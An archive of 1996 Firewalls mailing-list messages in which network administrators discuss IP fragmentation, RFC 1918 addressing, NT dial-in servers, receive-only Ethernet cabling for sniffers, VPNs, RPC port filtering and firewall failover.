Received: from mcfeely.bsfs.org (mcfeely.bsfs.org [204.91.13.34]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id RAA13478 for <Firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 17:05:27 -0800 (PST)
Received: (from wombat@localhost) by mcfeely.bsfs.org (8.6.12/8.6.12) id UAA03081; Fri, 1 Mar 1996 20:00:23 -0500
Date: Fri, 1 Mar 1996 20:00:20 -0500 (EST)
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
To: Paul Ferguson <pferguso@cisco.com>
cc: "Charles B. Kaplan" <cbk@starbase.ingress.com>, Firewalls@GreatCircle.COM
Subject: Re: IP fragments and packet filters
In-Reply-To: <199603011235.EAA18924@lint.cisco.com>
Message-ID: <Pine.BSF.3.91.960301195334.3003C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk


On Fri, 1 Mar 1996, Paul Ferguson wrote:

> The fragmentation and, more importantly, reassembly should happen in this
> case transparently long before it reaches your router/firewall/whatever.
> 
> - paul

Yes - segment and re-assembly should occur at the edge devices.

> 
> At 10:28 PM 2/29/96 -0500, Charles B. Kaplan wrote:
> 
> >>The only time you're ever likely to see a packet with FO=1 is if a bad guy is
> >>knocking at your door.
> >
> >IE, my east coast LAN wants to connect to my west coast LAN, which will
> >involve traversing (substitute your favorate backbone providers) ATM link.
> >Therefor my 68byte header + data get dumped into larger (I forget frame size
> >at the moment) ATM cell, which could POSSIBLY ?? cause one byte to cross a
> >cell boundry, and thuse appear fragmented to the remote site ?
> >
ATM uses 53 byte cells, 48 bytes of payload, 5 bytes header. Much smaller 
than your IP packtes. SAR should occur before reaching your firewall, 
however.

- r.w.

From firewalls-owner  Fri Mar  1 18:47:55 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id SAA22107 for firewalls-outgoing; Fri, 1 Mar 1996 18:40:15 -0800 (PST)
Received: from okjunc.junction.net (okjunc.junction.net [199.166.227.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id SAA22094 for <Firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 18:40:05 -0800 (PST)
Received: (from michael@localhost) by okjunc.junction.net (8.6.11/8.6.11) id SAA07433; Fri, 1 Mar 1996 18:45:41 -0800
Date: Fri, 1 Mar 1996 18:45:39 -0800 (PST)
From: Michael Dillon <michael@memra.com>
X-Sender: michael@okjunc.junction.net
To: Firewalls@GreatCircle.COM
Subject: RFC 1597 and 10/8 addresses
In-Reply-To: <9603011552.AA17377@agf.fr>
Message-ID: <Pine.LNX.3.91.960301184159.5765G-100000@okjunc.junction.net>
Organization: Memra Software Inc. - Internet consulting
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Fri, 1 Mar 1996, Marc Rapoport wrote:

> - For those who suggest to use 10.0.0.0 from RFC 1597 :
> As I knew this RFC, i agree with you, but when we chose our adressing plan,
>  this wasn't really published.

If you are recommending that people use 10/8 adressing, it would be best 
to refer them to RFC1918 which just came out this past week and which 
supercedes 1597. Nothing really new in it, just a bit clearer explanation 
of private networks and their implications and so on.


Michael Dillon                                    Voice: +1-604-546-8022
Memra Software Inc.                                 Fax: +1-604-546-3049
http://www.memra.com                             E-mail: michael@memra.com


From firewalls-owner  Fri Mar  1 18:59:52 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id SAA19937 for firewalls-outgoing; Fri, 1 Mar 1996 18:18:24 -0800 (PST)
Received: from magneto.acquion.com (magneto.acquion.com [206.154.17.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id SAA19925 for <firewalls@greatcircle.com>; Fri, 1 Mar 1996 18:18:18 -0800 (PST)
Received: from professorx (dial197.acqic.org [206.154.16.197])
          by magneto.acquion.com (post.office MTA v1.9.1 ID# 0-11944)
          with SMTP id AAA153; Fri, 1 Mar 1996 21:17:57 -0500
Message-Id: <2.2.32.19960302021631.0069c2d4@mail.acquion.com>
X-Sender: moll5029@mail.acquion.com
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 01 Mar 1996 21:16:31 -0500
To: Eric Caron <ecaron@globale.net>
From: "Joseph L. Moll" <jmoll@acquion.com>
Subject: NT Access Servers
Cc: firewalls@greatcircle.com
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Hello Eric.

I have configured a few of these.

There are a few things that you have to consider.  The NT box will only act
as a gateway to your network, i.e. you will have to place the NT box behind
firewalls, etc to protect your network.  It does, however, support dialback.
It supports this very well.  To my knowledge, there is no way to filter packets.

NT Server 3.51 will host PPP clients only.  You can change the
authentication protocol to either PAP, CHAP, or CHAP with Microsoft
encryption.  If your clients are Microsoft (running RASv.2 I think, that's
'95 and NT clients), you are best to go with the 3rd option.  I have some
MAC clients running MAC TCP and they only understand PAP, same with Trumpet
Winsock clients (windows 3.1 clients).  It's not quite listed this way, as I
remember there are 3 options labeled very different from PAP, CHAP, and
Microsoft CHAP, but that is the order.  I think that PAP is listed as
"accept any authentication, even clear text."  Don't know why they listed
that way.

The overhead is no more than other NT user overhead.  They actually
authenticate against the NT registry.  You will have to add an entry in the
registry for the user and then give them Dialup Access in the RAS
Administration program.  It's really that simple.

Regards,
---
Joseph (Joe) L. Moll  mailto:jmoll@acquion.com
http://www.acquion.com  phone:864-281-4108  fax:864-281-4576
Acquion, Inc.  Greenville, SC  USA -- Specialists in Electronic Commerce


From firewalls-owner  Fri Mar  1 19:14:58 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id TAA23787 for firewalls-outgoing; Fri, 1 Mar 1996 19:01:59 -0800 (PST)
Received: from uu11.psi.com (uu11.psi.com [38.8.24.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id TAA23742 for <Firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 19:01:45 -0800 (PST)
Received: from uu1643.UUCP by uu11.psi.com (5.65b/4.0.940727-PSI/PSINet) via UUCP;
        id AA27287 for ; Fri, 1 Mar 96 21:57:02 -0500
Message-Id: <9603020257.AA27287@uu11.psi.com>
Date: 1 Mar 1996 18:40:02 U
From: "r bogard" <rbogard@accesspr.com>
Subject: I'm getting two transmissio
To: "firewall guy" <Firewalls@GreatCircle.COM>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

I'm getting two transmissions
Hi -- I just subscribed to the firewall digest & for some reason I'm getting
duplicate copies sent with each transmission.  

My email address is rbogard@accesspr.com -- can you help?

Thanks a million!


From firewalls-owner  Fri Mar  1 19:44:59 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id TAA25853 for firewalls-outgoing; Fri, 1 Mar 1996 19:28:28 -0800 (PST)
Received: from lint.cisco.com (lint.cisco.com [171.68.235.77]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id TAA25840 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 19:28:22 -0800 (PST)
Received: from pferguso-pc.cisco.com (c2robo8.cisco.com [171.68.13.40]) by lint.cisco.com (8.6.10/CISCO.SERVER.1.1) with SMTP id TAA21841; Fri, 1 Mar 1996 19:25:57 -0800
Message-Id: <199603020325.TAA21841@lint.cisco.com>
X-Sender: pferguso@lint.cisco.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 01 Mar 1996 22:26:45 -0500
To: Matt Holdrege <matt@hsa.com>
From: Paul Ferguson <pferguso@cisco.com>
Subject: Re: IP/IPX firewall
Cc: firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 03:17 PM 3/1/96, Matt Holdrege wrote:

>I'm looking for a firewall that would allow only certain IP and IPX 
>addresses to access a LAN. At least one of the interfaces on the Firewall 
>need to be Token Ring. The other could be Token Ring or Ethernet. Does such 
>a beast exist?
>

Yes -- its called a router. With filtering capabilities, of course.  :-)

- paul


--
Paul Ferguson                                           ||        ||
Consulting Engineering                                  ||        ||
Reston, Virginia   USA                                 ||||      ||||
tel: +1.703.716.9538                               ..:||||||:..:||||||:..
e-mail: pferguso@cisco.com                         c i s c o S y s t e m s


From firewalls-owner  Fri Mar  1 20:14:58 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id UAA29661 for firewalls-outgoing; Fri, 1 Mar 1996 20:11:46 -0800 (PST)
Received: from legend.txdirect.net (legend.txdirect.net [204.57.120.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id UAA29639 for <Firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 20:11:39 -0800 (PST)
Received: (from boyter@localhost) by legend.txdirect.net (8.7.3/8.7.3) id WAA26957 for Firewalls@GreatCircle.COM; Fri, 1 Mar 1996 22:09:26 -0600 (CST)
Date: Fri, 1 Mar 1996 22:09:26 -0600 (CST)
From: Brian Boyter <boyter@legend.txdirect.net>
Message-Id: <199603020409.WAA26957@legend.txdirect.net>
To: Firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> Unfortunately, cutting that wire will also cause any hub at the other end of
> the link to lose its "link" detection.

>> I dont know if it can be done with ethernet because of it being a
>> contention kinda thing but is it posible to make a twisted-pair cable to
>> only receive?

I know this thread was discussing twisted-pair, but we used a pair of ODS-236
fiber-optic modems with only one of the fibers connected to make a one-way
hardware ethernet connection....   We tried several brands of fiber modems
and only the ODS's worked (the others complained that there was no carrier
detect)....    Hope this helps....

Brian Boyter
CSC-SED
USAF Air Intelligence Agency
boyter@txdirect.net

Subject: rx but no tx wiring for ethernet



From firewalls-owner  Fri Mar  1 23:01:59 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id WAA13848 for firewalls-outgoing; Fri, 1 Mar 1996 22:45:10 -0800 (PST)
Received: from crl.crl.com (crl.com [165.113.1.12]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id WAA13843 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 22:45:06 -0800 (PST)
Received: by crl.crl.com id AA28797
  (5.65c/IDA-1.5); Fri, 1 Mar 1996 22:35:56 -0800
Date: Fri, 1 Mar 1996 22:35:56 -0800 (PST)
From: Tim Keanini <blast@crl.com>
To: Howard Hantman <hhantman@eo.ray.com>
Cc: Wally@ecaltd.com, firewalls@GreatCircle.COM
Subject: Re: FW: rx but no tx wiring for ethernet
In-Reply-To: <9603011628.AA04707@eo.ray.com>
Message-Id: <Pine.SUN.3.91.960301223245.28439B-100000@crl.crl.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Fri, 1 Mar 1996, Howard Hantman wrote:

> Unfortunately, cutting that wire will also cause any hub at the other end of
> the link to lose its "link" detection. This may cause the hub to refuse to
> transmit any data on that line. You may need to disable link test on the other
> end, if it supports that option.

This is the sort of answer I was looking for.  I thank you all for replying
and I am here to say that even with both transmits cut, I still cant
get this sniffer unit to sniff.  I will check this 'link' detection out.
I think that it is a factor.

Just to keep triffic to a low, please reply to me and when I get something
that accually works, I will post back the summary to the list.
If ANYONE has done this, please email me.

Thanks for all the help,
blast

From firewalls-owner  Sat Mar  2 00:00:28 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id XAA16687 for firewalls-outgoing; Fri, 1 Mar 1996 23:58:38 -0800 (PST)
Received: from fastlane.net (fastlane.net [204.251.16.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id XAA16681 for <firewalls@GreatCircle.COM>; Fri, 1 Mar 1996 23:58:34 -0800 (PST)
Received: from dal49.fastlane.net (dal49.fastlane.net [204.251.16.149]) by fastlane.net (8.7.3/8.7.3) with SMTP id CAA10484; Sat, 2 Mar 1996 02:50:56 -0600 (CST)
Message-ID: <3137E6D3.3CD3@fastlane.net>
Date: Sat, 02 Mar 1996 01:12:35 -0500
From: Howard Barnett <HBarnettt@FastLane.NET>
Organization: Designs That Compute
X-Mailer: Mozilla 2.0 (Win16; I)
MIME-Version: 1.0
To: Tim Keanini <blast@crl.com>
CC: firewalls@GreatCircle.COM
Subject: Re: rx but no tx wiring for ethernet
References: <Pine.SUN.3.91.960229071352.3817B-100000@crl.crl.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Tim Keanini wrote:
> 
> I dont know if it can be done with ethernet because
> of it being a contention kinda thing but is it posible to
> make a twisted-pair cable to only receive?
> 
> I played around with the wiring but could not get
> it to work.  Maybe it depends on what brand of card?
> 
> Any help in this area is much apreciated.
> 
> --blastNo This is not posible, Ethernet hubs must hear heartbeat to connect a 
line.

From firewalls-owner  Sat Mar  2 06:13:46 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id FAA02865 for firewalls-outgoing; Sat, 2 Mar 1996 05:59:34 -0800 (PST)
Received: from gauntlet-1.trusted.com (gauntlet-1.trusted.com [204.254.155.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id FAA02860 for <firewalls@GreatCircle.COM>; Sat, 2 Mar 1996 05:59:30 -0800 (PST)
Received: by gauntlet-1.trusted.com; id JAA22988; Sat, 2 Mar 1996 09:05:49 -0500
Received: from vanidor.tis.com(192.94.214.98) by gauntlet-1.trusted.com via smap (V3.1)
	id xma022985; Sat, 2 Mar 96 09:05:42 -0500
Message-Id: <2.2.16.19960302135730.2aff796c@pop.trusted.com>
X-Sender: avolio@pop.trusted.com
X-Mailer: Windows Eudora Pro Version 2.2 (16)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 02 Mar 1996 08:57:30 -0500
To: firewalls <firewalls@GreatCircle.COM>
From: Frederick M Avolio <avolio@trusted.com>
Subject: Re: VPN's over the internet
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

The RSA web page -- www.rsa.com -- has a pointer to a table listing results
of the S/WAN interoperability tests as they are going on over the Internet.

Fred


From firewalls-owner  Sat Mar  2 09:45:11 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA07674 for firewalls-outgoing; Sat, 2 Mar 1996 09:39:27 -0800 (PST)
Received: from hobbes.orl.mmc.com (hobbes.orl.mmc.com [141.240.192.100]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA07669 for <firewalls@greatcircle.com>; Sat, 2 Mar 1996 09:39:23 -0800 (PST)
Date: Sat, 2 Mar 1996 12:37:49 -0500 (EST)
From: "A. Padgett Peterson P.E. Information Security" <PADGETT@hobbes.orl.mmc.com>
To: firewalls@greatcircle.com
Message-Id: <960302123749.20201e1e@hobbes.orl.mmc.com>
Subject: VPNs
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>Have a look at the KarlBridge/KarlBrouter, this can do encrypted VPNs
>(using proprietary software encryptin currently, DES on its way).

>have a look at http://www.karlnet.com/ in the US
>               http://www.gbnet.net/kbridge/ in UK/Europe

Don't endorse products myself but have played with Karbridges before and 
like the concept. Uses an obsolete 386 PC with dual NICs. Does nothing but
route/filter transparently. And since it does not respond to anything on the
net (you have to program out-of-channel and reboot to change), is immune
to most attacks. Would seem ideal for a situation in which you do not have
adequate control of/in the router.
						Warmly,
							Padgett

From firewalls-owner  Sat Mar  2 10:01:33 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA07765 for firewalls-outgoing; Sat, 2 Mar 1996 09:46:03 -0800 (PST)
Received: from lint.cisco.com (lint.cisco.com [171.68.235.77]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA07760 for <Firewalls@GreatCircle.COM>; Sat, 2 Mar 1996 09:45:59 -0800 (PST)
Received: from pferguso-pc.cisco.com (c1robo11.cisco.com [171.68.13.11]) by lint.cisco.com (8.6.10/CISCO.SERVER.1.1) with SMTP id JAA09092; Sat, 2 Mar 1996 09:43:33 -0800
Message-Id: <199603021743.JAA09092@lint.cisco.com>
X-Sender: pferguso@lint.cisco.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 02 Mar 1996 12:44:22 -0500
To: Michael Dillon <michael@memra.com>
From: Paul Ferguson <pferguso@cisco.com>
Subject: Re: RFC 1597 and 10/8 addresses
Cc: Firewalls@GreatCircle.COM
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

At 06:45 PM 3/1/96 -0800, Michael Dillon wrote:

>
>If you are recommending that people use 10/8 adressing, it would be best 
>to refer them to RFC1918 which just came out this past week and which 
>supercedes 1597. Nothing really new in it, just a bit clearer explanation 
>of private networks and their implications and so on.
>

One new item RFC-1918 does mention is the use of 'application layer gateways',
such as NAT devices, to 'hide' the use of private Internet address space.

- paul

--
Paul Ferguson                                           ||        ||
Consulting Engineering                                  ||        ||
Reston, Virginia   USA                                 ||||      ||||
tel: +1.703.716.9538                               ..:||||||:..:||||||:..
e-mail: pferguso@cisco.com                         c i s c o S y s t e m s


From firewalls-owner  Sat Mar  2 10:15:17 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA07568 for firewalls-outgoing; Sat, 2 Mar 1996 09:31:42 -0800 (PST)
Received: from hobbes.orl.mmc.com (hobbes.orl.mmc.com [141.240.192.100]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA07563 for <firewalls@greatcircle.com>; Sat, 2 Mar 1996 09:31:38 -0800 (PST)
Date: Sat, 2 Mar 1996 12:30:03 -0500 (EST)
From: "A. Padgett Peterson P.E. Information Security" <PADGETT@hobbes.orl.mmc.com>
To: firewalls@greatcircle.com
Message-Id: <960302123003.20201e1e@hobbes.orl.mmc.com>
Subject: VPNs and single point failures
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

SCENARIO 1
...
>Since 
>the firewall in this case only supports encrypted tunneling, 
>the pipe (link) between the two firewalls is completely 
>transparent to the hacker and provides absolutely no protection 
>against the hacker from setting up shop on your network.

(much more good stuff omitted)

The traditional nework worldview is for "internal" and "external" networks
with bastions and DMZs being special cases of "external". For some time I 
have been pushing for a third category that seems necessary for real
world considerations: the "limited exposure network" or "LEN".

Frank's examples point out this need. Basically for "internal" we need no
formal protection except in special cases - can be left up to the users &
local admins. External we assume to be populated by hackers/crackers/A6s/
things that go bump and is not to be trusted at all.

For companies competing in the modern world, there is a need for secure
communications with semi-trusted partners, those we trust with access to
certain areas but not with the keys to the wineceller. 

*Every* program I have delt with in the last year has had similar needs &
the only viable option I see is for a LEN.

You can divide it up easily: for internal network, information is freely 
available. Where restriction is needed for a node, a single protection
layer is adequate (login/password) with the understanding that covert
channel (sniffers) attacks will work.

For external networks my rule is "tell me three times". Single fail safe,
dual fail safe, takes three different failures to breach security with the
hope that I will notice one of the first two before the third occurs (I
do not count the minefields except as warning devices). 

Logically then a LEN will suffice with two, the third being the contractual
agreement with the remote site as a condition for connection. Single-fail-safe
takes care of the condition Frank refers to and my rule is that such
connections use either securely encrypted links (40 bit keys are no
stronger than compression) or Telco provided PNS (Protected Network Services).

The second stage is router/firewall enforced access only to trusted nodes
(i.e. properly administered and I define what "properly" means) on trusted
subnets. Using defined protocols. For the interested, there is a way in which
NFS can be made "acceptable" - in general there is nothing wrong with the
protocol itself, just the other services traditionally available on an NFS
machine often conceal vulnerabilities.

Thus I feel that one layer of protection is sufficient internally, two for
LENs, and three for "the world". It works for me.

						Warmly,
							Padgett

From firewalls-owner  Sat Mar  2 10:30:02 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA08235 for firewalls-outgoing; Sat, 2 Mar 1996 10:06:51 -0800 (PST)
Received: from montana.avicom.net (montana.avicom.net [204.212.252.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA08230 for <firewalls@greatcircle.com>; Sat, 2 Mar 1996 10:06:46 -0800 (PST)
Received: from pc115.avicom.net by montana.avicom.net; (5.65/1.1.8.2/07Nov95-0606PM)
	id AA24112; Sat, 2 Mar 1996 11:05:29 -0700
Message-Id: <1.5.4b11.32.19960302175950.006734d8@avicom.net>
X-Sender: greagj@avicom.net
X-Mailer: Windows Eudora Light Version 1.5.4b11 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 02 Mar 1996 10:59:50 -0700
To: firewalls@greatcircle.com
From: Greag Johnson <greagj@avicom.net>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Usubscribe Firewalls


From firewalls-owner  Sat Mar  2 11:03:18 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id KAA08841 for firewalls-outgoing; Sat, 2 Mar 1996 10:25:23 -0800 (PST)
Received: from mcfeely.bsfs.org (mcfeely.bsfs.org [204.91.13.34]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id KAA08834 for <firewalls@GreatCircle.COM>; Sat, 2 Mar 1996 10:25:16 -0800 (PST)
Received: (from wombat@localhost) by mcfeely.bsfs.org (8.6.12/8.6.12) id NAA05440; Sat, 2 Mar 1996 13:20:05 -0500
Date: Sat, 2 Mar 1996 13:19:51 -0500 (EST)
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
To: Paul Ferguson <pferguso@cisco.com>
cc: Matt Holdrege <matt@hsa.com>, firewalls@GreatCircle.COM
Subject: Re: IP/IPX firewall
In-Reply-To: <199603020325.TAA21841@lint.cisco.com>
Message-ID: <Pine.BSF.3.91.960302131721.5413D-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Fri, 1 Mar 1996, Paul Ferguson wrote:

> At 03:17 PM 3/1/96, Matt Holdrege wrote:
> 
> >I'm looking for a firewall that would allow only certain IP and IPX 
> >addresses to access a LAN. At least one of the interfaces on the Firewall 
> >need to be Token Ring. The other could be Token Ring or Ethernet. Does such 
> >a beast exist?
> >
> 
> Yes -- its called a router. With filtering capabilities, of course.  :-)
> 
> - paul
> 

You can put a token ring interface and an ethernet interface into the 
platform supporting the firewall, and route between the interfaces, if 
you need more functionality than a typical router can provide.

-.r.w.

From firewalls-owner  Sat Mar  2 12:00:05 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id LAA12122 for firewalls-outgoing; Sat, 2 Mar 1996 11:47:23 -0800 (PST)
Received: from hp01.vak12ed.edu (hp01.vak12ed.edu [141.104.150.251]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id LAA12117 for <firewalls@greatcircle.com>; Sat, 2 Mar 1996 11:47:18 -0800 (PST)
Message-Id: <199603021947.LAA12117@miles.greatcircle.com>
Received: by hp01.vak12ed.edu
	(1.38.193.5/16.2) id AA00671; Sat, 2 Mar 1996 14:45:07 -0500
From: "W.C. Epperson" <epperson@vak12ed.edu>
Subject: Re:  filtering RPC ports
To: firewalls@greatcircle.com
Date: Sat, 02 Mar 1996 14:45:07 EST
In-Reply-To: <199603020322.VAA12390@delta.eecs.nwu.edu>; from "Robert Bonomi" at Mar 1, 96 9:22 pm
X-Mailer: Elm [revision: 109.16]
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Mail headers suggest Robert Bonomi may have written in response:
> + 
> + Recently there was a thread here in which it was noted that filtering
> + portmap (111) traffic merely made it more difficult to find the RPC
> + service ports, that if they could be guessed, they could be gotten to.
> + 
> + What approaches, from a filtering perspective, might be employed to
> + block these ports, since they appear to be arbitrarily and dynamically
> + assigned (from observation and from reading the rfcs)?
> 
> the -simple- one.   "everything not specificially authorized is forbidden".
> i.e.  block _everything_, then open holes for _specific_ things.
> 
> then you just have to make sure that your 'allowed' services come up 
> *before* 'portmapper client programs' do.  this is a simple matter of
> making sure things are in the right sequence in the system start-up files.
> :)
> 
I should have stated the filtering policy for the particular route:
"Everything not specifically forbidden is permitted."
Not terribly unusual for some portions of an academic network.
--
W.C. Epperson			"CAUTION: Objects in floating point
Senior SE                        may not be as close as they appear."
Curmudgeon-for-Life
Virginia Dept. of Education	        

From firewalls-owner  Sat Mar  2 12:31:01 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA13037 for firewalls-outgoing; Sat, 2 Mar 1996 12:27:59 -0800 (PST)
Received: from minerva1.bull.it (minerva1.bull.it [138.70.10.27]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA13028 for <firewalls@greatcircle.com>; Sat, 2 Mar 1996 12:27:50 -0800 (PST)
Received: by minerva1.bull.it
	(5.65c/940824-01) id AA12098; Sat, 2 Mar 96 21:04:28 +0100
From: gvilla@minerva1.bull.it (Guido Villa)
Received-Date: Sat, 2 Mar 96 21:04:28 +0100
Message-Id: <199603022004.AA12098@minerva1.bull.it>
Subject: Firewall Back-up
To: firewalls@greatcircle.com
Date: Sat, 2 Mar 1996 21:04:25 +0100 (MET)
X-Mailer: ELM [version 2.4 PL22]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

In order to get high-availability target this config should be set-up:


OUT NET
----------------------------------------------------------------------
            |                       | 
            | .1                    | .2
        ---------               ---------
        |       |               |       |
        |       |               |       |
        |master |               |backup |
        ---------               ---------
            |                       |
IN NET      |                       |
----------------------------------------------------------------------

"master" could crash or physical (tcp-ip down) or logical (telnet down).
                     --                        --
  
"backup" should be able to start automatically.

Thinking about DNS reconfiguration to be activated as "backup" detects 
"master"'s failures (physical/logical), which kind of solution is known?

I'm thinking for automatic updating of file "named" (ip-address .1 changed
with .2).

Any experiences with rerouting thru ROUTER?

Guido Villa
Bull HN Italia
g.villa@it12.bull.it




From firewalls-owner  Sat Mar  2 12:45:20 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA13294 for firewalls-outgoing; Sat, 2 Mar 1996 12:36:56 -0800 (PST)
Received: from Eisner.DECUS.Org (Eisner.DECUS.Org [192.67.173.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id MAA13280 for <firewalls@GreatCircle.COM>; Sat, 2 Mar 1996 12:36:51 -0800 (PST)
Received: from Eisner.DECUS.Org by Eisner.DECUS.Org (PMDF V4.2-12 #4291) id
 <01I1V9856F3Q00CZET@Eisner.DECUS.Org>; Sat, 2 Mar 1996 15:35:13 -0500 (EST)
Date: Sat, 02 Mar 1996 15:35:13 -0500 (EST)
From: Matt Holdrege <HOLDREGE@Eisner.DECUS.Org>
Subject: Re: IP/IPX firewall
To: firewalls@GreatCircle.COM
Reply-to: holdrege@eisner.decus.org
Message-id: <01I1V9856F3S00CZET@Eisner.DECUS.Org>
Organization: Digital Equipment Computer Users Society
X-VMS-To: IN%"firewalls@GreatCircle.COM"
MIME-version: 1.0
Content-type: TEXT/PLAIN; CHARSET=US-ASCII
Content-transfer-encoding: 7BIT
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>>I'm looking for a firewall that would allow only certain IP and IPX 
>>addresses to access a LAN. At least one of the interfaces on the Firewall 
>>need to be Token Ring. The other could be Token Ring or Ethernet. Does such 
>>a beast exist?

>Yes -- its called a router. With filtering capabilities, of course.  :-)

>- paul

OK, OK. To be more specific, this firewall needs to have a user-friendly access
list administrative interface. That rules out the Cisco routers that we use. :)


Matt Holdrege    holdrege@eisner.decus.org

From firewalls-owner  Sat Mar  2 14:51:06 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA18420 for firewalls-outgoing; Sat, 2 Mar 1996 14:27:54 -0800 (PST)
Received: from charon.ppco.com (ppco.com [138.32.15.1]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id OAA18408 for <firewalls@GreatCircle.com>; Sat, 2 Mar 1996 14:27:49 -0800 (PST)
Received: by charon.ppco.com id AA12206
  (InterLock SMTP Gateway 3.0 for firewalls@GreatCircle.com);
  Sat, 2 Mar 1996 16:26:10 -0600
Received: by charon.ppco.com (Internal Mail Agent-2);
  Sat, 2 Mar 1996 16:26:10 -0600
Received: by charon.ppco.com (Internal Mail Agent-1);
  Sat, 2 Mar 1996 16:26:10 -0600
Message-Id: <310FEC8B.1632@ppco.com>
Date: Wed, 31 Jan 1996 23:26:19 +0100
From: Jon Ole Nome <jonome@ppco.com>
Organization: Phillips Petroleum
X-Mailer: Mozilla 2.0b3 (Win95; I)
Mime-Version: 1.0
To: firewalls@GreatCircle.com
Subject: ANS Interlock firewall
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Does anybody have experience with the ANS Interlock firewall? We are in 
the process of installing one, and I'd like to avoid the major pitfalls 
(if any...). Thanks.

Jon Ole Nome (jonome@ppco.com)
Phillips Petroleum Company Norway

From firewalls-owner  Sat Mar  2 15:00:25 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id OAA17377 for firewalls-outgoing; Sat, 2 Mar 1996 14:04:58 -0800 (PST)
